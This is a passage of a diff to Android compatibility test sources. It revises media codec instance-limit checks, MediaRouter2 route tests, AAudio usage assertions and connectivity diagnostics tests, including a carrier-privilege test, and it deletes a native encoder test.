         StringBuilder xmlOverrides = new StringBuilder();
         MediaCodecList allCodecs = new MediaCodecList(MediaCodecList.ALL_CODECS);
+        final boolean isLowRam = ActivityManager.isLowRamDeviceStatic();
         for (MediaCodecInfo info : allCodecs.getCodecInfos()) {
             Log.d(TAG, "codec: " + info.getName());
             Log.d(TAG, "  isEncoder = " + info.isEncoder());
 
+            // don't bother testing aliases
+            if (info.isAlias()) {
+                Log.d(TAG, "skipping: " + info.getName() + " is an alias for " +
+                                info.getCanonicalName());
+                continue;
+            }
+
             String[] types = info.getSupportedTypes();
             for (int j = 0; j < types.length; ++j) {
                 if (!knownTypes(types[j])) {
@@ -788,14 +800,55 @@
                 }
                 Log.d(TAG, "calling getCapabilitiesForType " + types[j]);
                 CodecCapabilities caps = info.getCapabilitiesForType(types[j]);
-                int max = caps.getMaxSupportedInstances();
-                Log.d(TAG, "getMaxSupportedInstances returns " + max);
-                assertTrue(max > 0);
+                int advertised = caps.getMaxSupportedInstances();
+                Log.d(TAG, "getMaxSupportedInstances returns " + advertised);
+                assertTrue(advertised > 0);
 
+                // see how well the declared max matches against reality
+
+                int tryMax = isLowRam ? 16 : 32;
+                int tryMin = isLowRam ? 4 : 16;
+
+                int trials = Math.min(advertised + 2, tryMax);
                 int actualMax = getActualMax(
-                        info.isEncoder(), info.getName(), types[j], caps, MAX_INSTANCES);
-                Log.d(TAG, "actualMax " + actualMax + " vs reported max " + max);
-                if (actualMax < (int)(max * 0.9) || actualMax > (int) Math.ceil(max * 1.1)) {
+                        info.isEncoder(), info.getName(), types[j], caps, trials);
+                Log.d(TAG, "actualMax " + actualMax + " vs advertised " + advertised
+                                + " tryMin " + tryMin + " tryMax " + tryMax);
+
+                boolean memory_limited = false;
+                if (actualMax < 0) {
+                    memory_limited = true;
+                    actualMax = -actualMax;
+                }
+
+                boolean compliant = true;
+                if (info.isHardwareAccelerated()) {
+                    // very specific bounds for HW codecs
+                    // so the adv+2 above is to see if the HW codec lets us go beyond adv
+                    // (it should not)
+                    if (actualMax != Math.min(advertised, tryMax)) {
+                        Log.d(TAG, "NO: hwcodec " + actualMax + " != min(" + advertised +
+                                            "," + tryMax + ")");
+                        compliant = false;
+                    }
+                } else {
+                    // sw codecs get a little more relaxation due to memory pressure
+                    if (actualMax >= Math.min(advertised, tryMax)) {
+                        // no memory issues, and we allocated them all
+                        Log.d(TAG, "OK: swcodec " + actualMax + " >= min(" + advertised +
+                                        "," + tryMax + ")");
+                    } else if (actualMax >= Math.min(advertised, tryMin) &&
+                                    memory_limited) {
+                        // memory issues, but we hit our floors
+                        Log.d(TAG, "OK: swcodec " + actualMax + " >= min(" + advertised +
+                                        "," + tryMin + ") + memory limited");
+                    } else {
+                        Log.d(TAG, "NO: swcodec didn't meet criteria");
+                        compliant = false;
+                    }
+                }
+
+                if (!compliant) {
                     String codec = "<MediaCodec name=\"" + info.getName() +
                             "\" type=\"" + types[j] + "\" >";
                     String limit = "    <Limit name=\"concurrent-instances\" max=\"" +
diff --git a/tests/tests/media/src/android/media/cts/MediaRouter2Test.java b/tests/tests/media/src/android/media/cts/MediaRouter2Test.java
index 238da0b..48466d5 100644
--- a/tests/tests/media/src/android/media/cts/MediaRouter2Test.java
+++ b/tests/tests/media/src/android/media/cts/MediaRouter2Test.java
@@ -17,6 +17,7 @@
 package android.media.cts;
 
 import static android.content.Context.AUDIO_SERVICE;
+import static android.media.MediaRoute2Info.FEATURE_LIVE_AUDIO;
 import static android.media.MediaRoute2Info.PLAYBACK_VOLUME_VARIABLE;
 import static android.media.cts.StubMediaRoute2ProviderService.FEATURES_SPECIAL;
 import static android.media.cts.StubMediaRoute2ProviderService.FEATURE_SAMPLE;
@@ -90,6 +91,9 @@
     private static final String TEST_VALUE = "test_value";
     private static final RouteDiscoveryPreference EMPTY_DISCOVERY_PREFERENCE =
             new RouteDiscoveryPreference.Builder(Collections.emptyList(), false).build();
+    private static final RouteDiscoveryPreference LIVE_AUDIO_DISCOVERY_PREFERENCE =
+            new RouteDiscoveryPreference.Builder(
+                    Collections.singletonList(FEATURE_LIVE_AUDIO), false).build();
 
     @Before
     public void setUp() throws Exception {
@@ -124,10 +128,16 @@
 
     @Test
     public void testGetRoutesAfterCreation() {
-        List<MediaRoute2Info> initialRoutes = mRouter2.getRoutes();
-        assertFalse(initialRoutes.isEmpty());
-        for (MediaRoute2Info route : initialRoutes) {
-            assertTrue(route.isSystemRoute());
+        RouteCallback routeCallback = new RouteCallback() {};
+        mRouter2.registerRouteCallback(mExecutor, routeCallback, LIVE_AUDIO_DISCOVERY_PREFERENCE);
+        try {
+            List<MediaRoute2Info> initialRoutes = mRouter2.getRoutes();
+            assertFalse(initialRoutes.isEmpty());
+            for (MediaRoute2Info route : initialRoutes) {
+                assertTrue(route.getFeatures().contains(FEATURE_LIVE_AUDIO));
+            }
+        } finally {
+            mRouter2.unregisterRouteCallback(routeCallback);
         }
     }
 
@@ -138,18 +148,13 @@
     public void testGetRoutes() throws Exception {
         Map<String, MediaRoute2Info> routes = waitAndGetRoutes(FEATURES_SPECIAL);
 
-        int systemRouteCount = 0;
         int remoteRouteCount = 0;
         for (MediaRoute2Info route : routes.values()) {
-            if (route.isSystemRoute()) {
-                systemRouteCount++;
-            } else {
+            if (!route.isSystemRoute()) {
                 remoteRouteCount++;
             }
         }
 
-        // Can be greater than 1 if BT devices are connected.
-        assertTrue(systemRouteCount > 0);
         assertEquals(1, remoteRouteCount);
         assertNotNull(routes.get(ROUTE_ID_SPECIAL_FEATURE));
     }
@@ -280,6 +285,8 @@
         final CountDownLatch successLatch2 = new CountDownLatch(1);
         final CountDownLatch failureLatch = new CountDownLatch(1);
         final CountDownLatch stopLatch = new CountDownLatch(1);
+        final CountDownLatch onReleaseSessionLatch = new CountDownLatch(1);
+
         final List<RoutingController> createdControllers = new ArrayList<>();
 
         // Create session with this route
@@ -306,6 +313,16 @@
             }
         };
 
+        StubMediaRoute2ProviderService service = mService;
+        if (service != null) {
+            service.setProxy(new StubMediaRoute2ProviderService.Proxy() {
+                @Override
+                public void onReleaseSession(long requestId, String sessionId) {
+                    onReleaseSessionLatch.countDown();
+                }
+            });
+        }
+
         Map<String, MediaRoute2Info> routes = waitAndGetRoutes(sampleRouteType);
         MediaRoute2Info route1 = routes.get(ROUTE_ID1);
         MediaRoute2Info route2 = routes.get(ROUTE_ID2);
@@ -332,15 +349,19 @@
             RoutingController controller1 = createdControllers.get(0);
             RoutingController controller2 = createdControllers.get(1);
 
-            // The first controller is expected to be released.
-            assertTrue(controller1.isReleased());
-
             assertNotEquals(controller1.getId(), controller2.getId());
             assertTrue(createRouteMap(controller1.getSelectedRoutes()).containsKey(
                     ROUTE_ID1));
             assertTrue(createRouteMap(controller2.getSelectedRoutes()).containsKey(
                     ROUTE_ID2));
 
+            // Transferred controllers shouldn't be obtainable.
+            assertFalse(mRouter2.getControllers().contains(controller1));
+            assertTrue(mRouter2.getControllers().contains(controller2));
+
+            // Should be able to release transferred controllers.
+            controller1.release();
+            assertTrue(onReleaseSessionLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
         } finally {
             releaseControllers(createdControllers);
             mRouter2.unregisterRouteCallback(routeCallback);
@@ -996,8 +1017,7 @@
             }
         };
 
-        mRouter2.registerRouteCallback(mExecutor, routeCallback,
-                new RouteDiscoveryPreference.Builder(new ArrayList<>(), true).build());
+        mRouter2.registerRouteCallback(mExecutor, routeCallback, LIVE_AUDIO_DISCOVERY_PREFERENCE);
 
         try {
             mAudioManager.setStreamVolume(AudioManager.STREAM_MUSIC, targetVolume, 0);
diff --git a/tests/tests/media/src/android/media/cts/NativeEncoderTest.java b/tests/tests/media/src/android/media/cts/NativeEncoderTest.java
deleted file mode 100644
index 5cacfe1..0000000
--- a/tests/tests/media/src/android/media/cts/NativeEncoderTest.java
+++ /dev/null
@@ -1,203 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import android.media.cts.R;
-
-import android.content.res.AssetFileDescriptor;
-import android.content.res.Resources;
-import android.net.Uri;
-import android.os.Environment;
-import android.os.ParcelFileDescriptor;
-import android.platform.test.annotations.AppModeFull;
-import android.util.Log;
-import android.view.Surface;
-import android.webkit.cts.CtsTestServer;
-
-import com.android.compatibility.common.util.MediaUtils;
-
-import java.io.BufferedInputStream;
-import java.io.ByteArrayOutputStream;
-import java.io.File;
-import java.io.FileDescriptor;
-import java.io.IOException;
-import java.io.InputStream;
-import java.io.RandomAccessFile;
-import java.nio.ByteBuffer;
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.List;
-import java.util.Map;
-import java.util.Set;
-import java.util.UUID;
-
-@AppModeFull(reason = "TODO: evaluate and port to instant")
-public class NativeEncoderTest extends MediaPlayerTestBase {
-    private static final String TAG = "NativeEncoderTest";
-    private static Resources mResources;
-
-    private static final String MIME_AVC = "video/avc";
-    private static final String MIME_HEVC = "video/hevc";
-    private static final String MIME_VP8 = "video/x-vnd.on2.vp8";
-
-    private static int mResourceVideo720p;
-    private static int mResourceVideo360p;
-
-    static {
-        System.loadLibrary("ctsmediacodec_jni");
-    }
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mResources = mContext.getResources();
-
-        mResourceVideo720p =
-                R.raw.bbb_s4_1280x720_webm_vp8_8mbps_30fps_opus_mono_64kbps_48000hz;
-        mResourceVideo360p =
-                R.raw.bbb_s1_640x360_webm_vp8_2mbps_30fps_vorbis_5ch_320kbps_48000hz;
-    }
-
-
-    private boolean testEncode(int res, String mime, int width, int height) {
-        AssetFileDescriptor fd = mResources.openRawResourceFd(res);
-
-        return testEncodeSurfaceNative(
-            fd.getParcelFileDescriptor().getFd(), fd.getStartOffset(), fd.getLength(),
-            mime, width, height);
-    }
-    private static native boolean testEncodeSurfaceNative(int fd, long offset, long size,
-            String mime, int width, int height);
-
-    public void testEncodeSurfaceH264720p() throws Exception {
-        boolean status = testEncode(mResourceVideo720p, MIME_AVC, 1280, 720);
-        assertTrue("native encode error", status);
-    }
-    public void testEncodeSurfaceVp8720p() throws Exception {
-        boolean status = testEncode(mResourceVideo720p, MIME_VP8, 1280, 720);
-        assertTrue("native encode error", status);
-    }
-    public void testEncodeSurfaceHevc720p() throws Exception {
-        boolean status = testEncode(mResourceVideo720p, MIME_HEVC, 1280, 720);
-        assertTrue("native encode error", status);
-    }
-    public void testEncodeSurfaceH264360p() throws Exception {
-        boolean status = testEncode(mResourceVideo360p, MIME_AVC, 640, 360);
-        assertTrue("native encode error", status);
-    }
-    public void testEncodeSurfaceVp8360p() throws Exception {
-        boolean status = testEncode(mResourceVideo360p, MIME_VP8, 640, 360);
-        assertTrue("native encode error", status);
-    }
-    public void testEncodeSurfaceHevc360p() throws Exception {
-        boolean status = testEncode(mResourceVideo360p, MIME_HEVC, 640, 360);
-        assertTrue("native encode error", status);
-    }
-
-
-    private boolean testEncodeDynamicSyncFrame(int res, String mime, int width, int height) {
-        AssetFileDescriptor fd = mResources.openRawResourceFd(res);
-
-        return testEncodeSurfaceDynamicSyncFrameNative(
-            fd.getParcelFileDescriptor().getFd(), fd.getStartOffset(), fd.getLength(),
-            mime, width, height);
-    }
-    private static native boolean testEncodeSurfaceDynamicSyncFrameNative(int fd, long offset, long size,
-            String mime, int width, int height);
-
-    public void testEncodeDynamicSyncFrameH264720p() throws Exception {
-        boolean status = testEncodeDynamicSyncFrame(mResourceVideo720p, MIME_AVC, 1280, 720);
-        assertTrue("native encode error", status);
-    }
-    public void testEncodeDynamicSyncFrameVp8720p() throws Exception {
-        boolean status = testEncodeDynamicSyncFrame(mResourceVideo720p, MIME_VP8, 1280, 720);
-        assertTrue("native encode error", status);
-    }
-    public void testEncodeDynamicSyncFrameHevc720p() throws Exception {
-        boolean status = testEncodeDynamicSyncFrame(mResourceVideo720p, MIME_HEVC, 1280, 720);
-        assertTrue("native encode error", status);
-    }
-    public void testEncodeDynamicSyncFrameH264360p() throws Exception {
-        boolean status = testEncodeDynamicSyncFrame(mResourceVideo360p, MIME_AVC, 640,  360);
-        assertTrue("native encode error", status);
-    }
-    public void testEncodeDynamicSyncFrameVp8360p() throws Exception {
-        boolean status = testEncodeDynamicSyncFrame(mResourceVideo360p, MIME_VP8, 640, 360);
-        assertTrue("native encode error", status);
-    }
-    public void testEncodeDynamicSyncFrameHevc360p() throws Exception {
-        boolean status = testEncodeDynamicSyncFrame(mResourceVideo360p, MIME_HEVC, 640, 360);
-        assertTrue("native encode error", status);
-    }
-
-
-    private boolean testEncodeDynamicBitrate(int res, String mime, int width, int height) {
-        AssetFileDescriptor fd = mResources.openRawResourceFd(res);
-
-        return testEncodeSurfaceDynamicBitrateNative(
-            fd.getParcelFileDescriptor().getFd(), fd.getStartOffset(), fd.getLength(),
-            mime, width, height);
-    }
-    private static native boolean testEncodeSurfaceDynamicBitrateNative(int fd, long offset, long size,
-            String mime, int width, int height);
-
-    public void testEncodeDynamicBitrateH264720p() throws Exception {
-        boolean status = testEncodeDynamicBitrate(mResourceVideo720p, MIME_AVC, 1280, 720);
-        assertTrue("native encode error", status);
-    }
-    public void testEncodeDynamicBitrateVp8720p() throws Exception {
-        boolean status = testEncodeDynamicBitrate(mResourceVideo720p, MIME_VP8, 1280, 720);
-        assertTrue("native encode error", status);
-    }
-    public void testEncodeDynamicBitrateHevc720p() throws Exception {
-        boolean status = testEncodeDynamicBitrate(mResourceVideo720p, MIME_HEVC, 1280, 720);
-        assertTrue("native encode error", status);
-    }
-    public void testEncodeDynamicBitrateH264360p() throws Exception {
-        boolean status = testEncodeDynamicBitrate(mResourceVideo360p, MIME_AVC, 640, 360);
-        assertTrue("native encode error", status);
-    }
-    public void testEncodeDynamicBitrateVp8360p() throws Exception {
-        boolean status = testEncodeDynamicBitrate(mResourceVideo360p, MIME_VP8, 640, 360);
-        assertTrue("native encode error", status);
-    }
-    public void testEncodeDynamicBitrateHevc360p() throws Exception {
-        boolean status = testEncodeDynamicBitrate(mResourceVideo360p, MIME_HEVC, 640, 360);
-        assertTrue("native encode error", status);
-    }
-
-
-    private boolean testEncodePersistentSurface(int res, String mime, int width, int height) {
-        AssetFileDescriptor fd = mResources.openRawResourceFd(res);
-
-        return testEncodePersistentSurfaceNative(
-            fd.getParcelFileDescriptor().getFd(), fd.getStartOffset(), fd.getLength(),
-            mime, width, height);
-    }
-
-    private static native boolean testEncodePersistentSurfaceNative(int fd, long offset, long size,
-            String mime, int width, int height);
-
-    public void testEncodePersistentSurface720p() throws Exception {
-        boolean status = testEncodePersistentSurface(mResourceVideo720p, MIME_AVC, 1280, 720);
-        assertTrue("native encode error", status);
-    }
-    public void testEncodePersistentSurface360p() throws Exception {
-        boolean status = testEncodePersistentSurface(mResourceVideo360p, MIME_VP8, 640, 360);
-        assertTrue("native encode error", status);
-    }
-}
diff --git a/tests/tests/nativemedia/aaudio/jni/test_aaudio_attributes.cpp b/tests/tests/nativemedia/aaudio/jni/test_aaudio_attributes.cpp
index 79cd3f6..4d9194f 100644
--- a/tests/tests/nativemedia/aaudio/jni/test_aaudio_attributes.cpp
+++ b/tests/tests/nativemedia/aaudio/jni/test_aaudio_attributes.cpp
@@ -274,8 +274,14 @@
 
         AAudioStreamBuilder_setUsage(aaudioBuilder, systemUsage);
 
-        // Get failed status when trying to create an AAudioStream using the Builder.
-        ASSERT_EQ(AAUDIO_ERROR_ILLEGAL_ARGUMENT, AAudioStreamBuilder_openStream(aaudioBuilder, &aaudioStream));
+        aaudio_result_t result = AAudioStreamBuilder_openStream(aaudioBuilder, &aaudioStream);
+
+        // Get failed status when trying to create an AAudioStream using the Builder. There are two
+        // potential failures: one if the device doesn't support the system usage, and the  other
+        // if it does but this test doesn't have the MODIFY_AUDIO_ROUTING permission required to
+        // use it.
+        ASSERT_TRUE(result == AAUDIO_ERROR_ILLEGAL_ARGUMENT
+                || result == AAUDIO_ERROR_INTERNAL);
         AAudioStreamBuilder_delete(aaudioBuilder);
     }
 }
diff --git a/tests/tests/net/Android.bp b/tests/tests/net/Android.bp
index 2b99a40..112799b 100644
--- a/tests/tests/net/Android.bp
+++ b/tests/tests/net/Android.bp
@@ -36,19 +36,20 @@
         "src/**/*.java",
         "src/**/*.kt",
     ],
-
+    jarjar_rules: "jarjar-rules-shared.txt",
     static_libs: [
         "FrameworksNetCommonTests",
         "TestNetworkStackLib",
-        "core-tests-support",
         "compatibility-device-util-axt",
+        "core-tests-support",
         "cts-net-utils",
         "ctstestrunner-axt",
         "ctstestserver",
-        "mockwebserver",
         "junit",
         "junit-params",
         "libnanohttpd",
+        "mockwebserver",
+        "net-utils-framework-common",
         "truth-prebuilt",
     ],
 
diff --git a/tests/tests/net/jarjar-rules-shared.txt b/tests/tests/net/jarjar-rules-shared.txt
new file mode 100644
index 0000000..11dba74
--- /dev/null
+++ b/tests/tests/net/jarjar-rules-shared.txt
@@ -0,0 +1,2 @@
+# Module library in frameworks/libs/net
+rule com.android.net.module.util.** android.net.cts.util.@1
\ No newline at end of file
diff --git a/tests/tests/net/src/android/net/cts/ConnectivityDiagnosticsManagerTest.java b/tests/tests/net/src/android/net/cts/ConnectivityDiagnosticsManagerTest.java
index d17d8e5..8f42f79 100644
--- a/tests/tests/net/src/android/net/cts/ConnectivityDiagnosticsManagerTest.java
+++ b/tests/tests/net/src/android/net/cts/ConnectivityDiagnosticsManagerTest.java
@@ -16,6 +16,7 @@
 
 package android.net.cts;
 
+import static android.content.pm.PackageManager.FEATURE_TELEPHONY;
 import static android.net.ConnectivityDiagnosticsManager.ConnectivityDiagnosticsCallback;
 import static android.net.ConnectivityDiagnosticsManager.ConnectivityReport;
 import static android.net.ConnectivityDiagnosticsManager.ConnectivityReport.KEY_NETWORK_PROBES_ATTEMPTED_BITMASK;
@@ -31,9 +32,11 @@
 import static android.net.ConnectivityDiagnosticsManager.persistableBundleEquals;
 import static android.net.NetworkCapabilities.NET_CAPABILITY_NOT_VPN;
 import static android.net.NetworkCapabilities.NET_CAPABILITY_TRUSTED;
+import static android.net.NetworkCapabilities.TRANSPORT_CELLULAR;
 import static android.net.NetworkCapabilities.TRANSPORT_TEST;
 import static android.net.cts.util.CtsNetUtils.TestNetworkCallback;
 
+import static com.android.compatibility.common.util.SystemUtil.callWithShellPermissionIdentity;
 import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
 
 import static org.junit.Assert.assertEquals;
@@ -41,9 +44,15 @@
 import static org.junit.Assert.assertNull;
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeTrue;
 
 import android.annotation.NonNull;
+import android.content.BroadcastReceiver;
 import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.pm.PackageInfo;
+import android.content.pm.PackageManager;
 import android.net.ConnectivityDiagnosticsManager;
 import android.net.ConnectivityManager;
 import android.net.LinkAddress;
@@ -55,23 +64,35 @@
 import android.os.Binder;
 import android.os.Build;
 import android.os.IBinder;
+import android.os.ParcelFileDescriptor;
 import android.os.PersistableBundle;
 import android.os.Process;
 import android.platform.test.annotations.AppModeFull;
+import android.telephony.CarrierConfigManager;
+import android.telephony.SubscriptionManager;
+import android.telephony.TelephonyManager;
 import android.util.Pair;
 
 import androidx.test.InstrumentationRegistry;
 
+import com.android.internal.telephony.uicc.IccUtils;
+import com.android.internal.util.ArrayUtils;
 import com.android.testutils.ArrayTrackRecord;
 import com.android.testutils.DevSdkIgnoreRule.IgnoreUpTo;
 import com.android.testutils.DevSdkIgnoreRunner;
+import com.android.testutils.SkipPresubmit;
 
 import org.junit.After;
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
+import java.security.MessageDigest;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.Executor;
+import java.util.concurrent.TimeUnit;
 
 @RunWith(DevSdkIgnoreRunner.class)
 @IgnoreUpTo(Build.VERSION_CODES.Q) // ConnectivityDiagnosticsManager did not exist in Q
@@ -85,6 +106,8 @@
     private static final int FAIL_RATE_PERCENTAGE = 100;
     private static final int UNKNOWN_DETECTION_METHOD = 4;
     private static final int FILTERED_UNKNOWN_DETECTION_METHOD = 0;
+    private static final int CARRIER_CONFIG_CHANGED_BROADCAST_TIMEOUT = 5000;
+    private static final int DELAY_FOR_ADMIN_UIDS_MILLIS = 2000;
 
     private static final Executor INLINE_EXECUTOR = x -> x.run();
 
@@ -95,44 +118,71 @@
                     .removeCapability(NET_CAPABILITY_NOT_VPN)
                     .build();
 
-    // Callback used to keep TestNetworks up when there are no other outstanding NetworkRequests
-    // for it.
-    private static final TestNetworkCallback TEST_NETWORK_CALLBACK = new TestNetworkCallback();
+    private static final String SHA_256 = "SHA-256";
+
+    private static final NetworkRequest CELLULAR_NETWORK_REQUEST =
+            new NetworkRequest.Builder().addTransportType(TRANSPORT_CELLULAR).build();
 
     private static final IBinder BINDER = new Binder();
 
     private Context mContext;
     private ConnectivityManager mConnectivityManager;
     private ConnectivityDiagnosticsManager mCdm;
+    private CarrierConfigManager mCarrierConfigManager;
+    private PackageManager mPackageManager;
+    private TelephonyManager mTelephonyManager;
+
+    // Callback used to keep TestNetworks up when there are no other outstanding NetworkRequests
+    // for it.
+    private TestNetworkCallback mTestNetworkCallback;
     private Network mTestNetwork;
+    private ParcelFileDescriptor mTestNetworkFD;
+
+    private List<TestConnectivityDiagnosticsCallback> mRegisteredCallbacks;
 
     @Before
     public void setUp() throws Exception {
         mContext = InstrumentationRegistry.getContext();
         mConnectivityManager = mContext.getSystemService(ConnectivityManager.class);
         mCdm = mContext.getSystemService(ConnectivityDiagnosticsManager.class);
+        mCarrierConfigManager = mContext.getSystemService(CarrierConfigManager.class);
+        mPackageManager = mContext.getPackageManager();
+        mTelephonyManager = mContext.getSystemService(TelephonyManager.class);
 
-        mConnectivityManager.requestNetwork(TEST_NETWORK_REQUEST, TEST_NETWORK_CALLBACK);
+        mTestNetworkCallback = new TestNetworkCallback();
+        mConnectivityManager.requestNetwork(TEST_NETWORK_REQUEST, mTestNetworkCallback);
+
+        mRegisteredCallbacks = new ArrayList<>();
     }
 
     @After
     public void tearDown() throws Exception {
-        mConnectivityManager.unregisterNetworkCallback(TEST_NETWORK_CALLBACK);
-
+        mConnectivityManager.unregisterNetworkCallback(mTestNetworkCallback);
         if (mTestNetwork != null) {
             runWithShellPermissionIdentity(() -> {
                 final TestNetworkManager tnm = mContext.getSystemService(TestNetworkManager.class);
                 tnm.teardownTestNetwork(mTestNetwork);
             });
+            mTestNetwork = null;
+        }
+
+        if (mTestNetworkFD != null) {
+            mTestNetworkFD.close();
+            mTestNetworkFD = null;
+        }
+
+        for (TestConnectivityDiagnosticsCallback cb : mRegisteredCallbacks) {
+            mCdm.unregisterConnectivityDiagnosticsCallback(cb);
         }
     }
 
     @Test
     public void testRegisterConnectivityDiagnosticsCallback() throws Exception {
-        mTestNetwork = setUpTestNetwork();
+        mTestNetworkFD = setUpTestNetwork().getFileDescriptor();
+        mTestNetwork = mTestNetworkCallback.waitForAvailable();
 
-        final TestConnectivityDiagnosticsCallback cb = new TestConnectivityDiagnosticsCallback();
-        mCdm.registerConnectivityDiagnosticsCallback(TEST_NETWORK_REQUEST, INLINE_EXECUTOR, cb);
+        final TestConnectivityDiagnosticsCallback cb =
+                createAndRegisterConnectivityDiagnosticsCallback(TEST_NETWORK_REQUEST);
 
         final String interfaceName =
                 mConnectivityManager.getLinkProperties(mTestNetwork).getInterfaceName();
@@ -141,10 +191,101 @@
         cb.assertNoCallback();
     }
 
+    @SkipPresubmit(reason = "Flaky: b/159718782; add to presubmit after fixing")
+    @Test
+    public void testRegisterCallbackWithCarrierPrivileges() throws Exception {
+        assumeTrue(mPackageManager.hasSystemFeature(FEATURE_TELEPHONY));
+
+        final int subId = SubscriptionManager.getDefaultSubscriptionId();
+        if (subId == SubscriptionManager.INVALID_SUBSCRIPTION_ID) {
+            fail("Need an active subscription. Please ensure that the device has working mobile"
+                    + " data.");
+        }
+
+        final CarrierConfigReceiver carrierConfigReceiver = new CarrierConfigReceiver(subId);
+        mContext.registerReceiver(
+                carrierConfigReceiver,
+                new IntentFilter(CarrierConfigManager.ACTION_CARRIER_CONFIG_CHANGED));
+
+        final TestNetworkCallback testNetworkCallback = new TestNetworkCallback();
+
+        try {
+            doBroadcastCarrierConfigsAndVerifyOnConnectivityReportAvailable(
+                    subId, carrierConfigReceiver, testNetworkCallback);
+        } finally {
+            runWithShellPermissionIdentity(
+                    () -> mCarrierConfigManager.overrideConfig(subId, null),
+                    android.Manifest.permission.MODIFY_PHONE_STATE);
+            mConnectivityManager.unregisterNetworkCallback(testNetworkCallback);
+            mContext.unregisterReceiver(carrierConfigReceiver);
+        }
+    }
+
+    private String getCertHashForThisPackage() throws Exception {
+        final PackageInfo pkgInfo =
+                mPackageManager.getPackageInfo(
+                        mContext.getOpPackageName(), PackageManager.GET_SIGNATURES);
+        final MessageDigest md = MessageDigest.getInstance(SHA_256);
+        final byte[] certHash = md.digest(pkgInfo.signatures[0].toByteArray());
+        return IccUtils.bytesToHexString(certHash);
+    }
+
+    private void doBroadcastCarrierConfigsAndVerifyOnConnectivityReportAvailable(
+            int subId,
+            @NonNull CarrierConfigReceiver carrierConfigReceiver,
+            @NonNull TestNetworkCallback testNetworkCallback)
+            throws Exception {
+        final PersistableBundle carrierConfigs = new PersistableBundle();
+        carrierConfigs.putStringArray(
+                CarrierConfigManager.KEY_CARRIER_CERTIFICATE_STRING_ARRAY,
+                new String[] {getCertHashForThisPackage()});
+
+        runWithShellPermissionIdentity(
+                () -> {
+                    mCarrierConfigManager.overrideConfig(subId, carrierConfigs);
+                    mCarrierConfigManager.notifyConfigChangedForSubId(subId);
+                },
+                android.Manifest.permission.MODIFY_PHONE_STATE);
+
+        // TODO(b/157779832): This should use android.permission.CHANGE_NETWORK_STATE. However, the
+        // shell does not have CHANGE_NETWORK_STATE, so use CONNECTIVITY_INTERNAL until the shell
+        // permissions are updated.
+        runWithShellPermissionIdentity(
+                () -> mConnectivityManager.requestNetwork(
+                        CELLULAR_NETWORK_REQUEST, testNetworkCallback),
+                android.Manifest.permission.CONNECTIVITY_INTERNAL);
+
+        final Network network = testNetworkCallback.waitForAvailable();
+        assertNotNull(network);
+
+        assertTrue("Didn't receive broadcast for ACTION_CARRIER_CONFIG_CHANGED for subId=" + subId,
+                carrierConfigReceiver.waitForCarrierConfigChanged());
+        assertTrue("Don't have Carrier Privileges after adding cert for this package",
+                mTelephonyManager.createForSubscriptionId(subId).hasCarrierPrivileges());
+
+        // Wait for CarrierPrivilegesTracker to receive the ACTION_CARRIER_CONFIG_CHANGED
+        // broadcast. CPT then needs to update the corresponding DataConnection, which then
+        // updates ConnectivityService. Unfortunately, this update to the NetworkCapabilities in
+        // CS does not trigger NetworkCallback#onCapabilitiesChanged as changing the
+        // administratorUids is not a publicly visible change. In lieu of a better signal to
+        // detministically wait for, use Thread#sleep here.
+        // TODO(b/157949581): replace this Thread#sleep with a deterministic signal
+        Thread.sleep(DELAY_FOR_ADMIN_UIDS_MILLIS);
+
+        final TestConnectivityDiagnosticsCallback connDiagsCallback =
+                createAndRegisterConnectivityDiagnosticsCallback(CELLULAR_NETWORK_REQUEST);
+
+        final String interfaceName =
+                mConnectivityManager.getLinkProperties(network).getInterfaceName();
+        connDiagsCallback.expectOnConnectivityReportAvailable(
+                network, interfaceName, TRANSPORT_CELLULAR);
+        connDiagsCallback.assertNoCallback();
+    }
+
     @Test
     public void testRegisterDuplicateConnectivityDiagnosticsCallback() {
-        final TestConnectivityDiagnosticsCallback cb = new TestConnectivityDiagnosticsCallback();
-        mCdm.registerConnectivityDiagnosticsCallback(TEST_NETWORK_REQUEST, INLINE_EXECUTOR, cb);
+        final TestConnectivityDiagnosticsCallback cb =
+                createAndRegisterConnectivityDiagnosticsCallback(TEST_NETWORK_REQUEST);
 
         try {
             mCdm.registerConnectivityDiagnosticsCallback(TEST_NETWORK_REQUEST, INLINE_EXECUTOR, cb);
@@ -168,10 +309,11 @@
 
     @Test
     public void testOnConnectivityReportAvailable() throws Exception {
-        mTestNetwork = setUpTestNetwork();
+        final TestConnectivityDiagnosticsCallback cb =
+                createAndRegisterConnectivityDiagnosticsCallback(TEST_NETWORK_REQUEST);
 
-        final TestConnectivityDiagnosticsCallback cb = new TestConnectivityDiagnosticsCallback();
-        mCdm.registerConnectivityDiagnosticsCallback(TEST_NETWORK_REQUEST, INLINE_EXECUTOR, cb);
+        mTestNetworkFD = setUpTestNetwork().getFileDescriptor();
+        mTestNetwork = mTestNetworkCallback.waitForAvailable();
 
         final String interfaceName =
                 mConnectivityManager.getLinkProperties(mTestNetwork).getInterfaceName();
@@ -219,10 +361,11 @@
             long timestampMillis,
             @NonNull PersistableBundle extras)
             throws Exception {
-        mTestNetwork = setUpTestNetwork();
+        mTestNetworkFD = setUpTestNetwork().getFileDescriptor();
+        mTestNetwork = mTestNetworkCallback.waitForAvailable();
 
-        final TestConnectivityDiagnosticsCallback cb = new TestConnectivityDiagnosticsCallback();
-        mCdm.registerConnectivityDiagnosticsCallback(TEST_NETWORK_REQUEST, INLINE_EXECUTOR, cb);
+        final TestConnectivityDiagnosticsCallback cb =
+                createAndRegisterConnectivityDiagnosticsCallback(TEST_NETWORK_REQUEST);
 
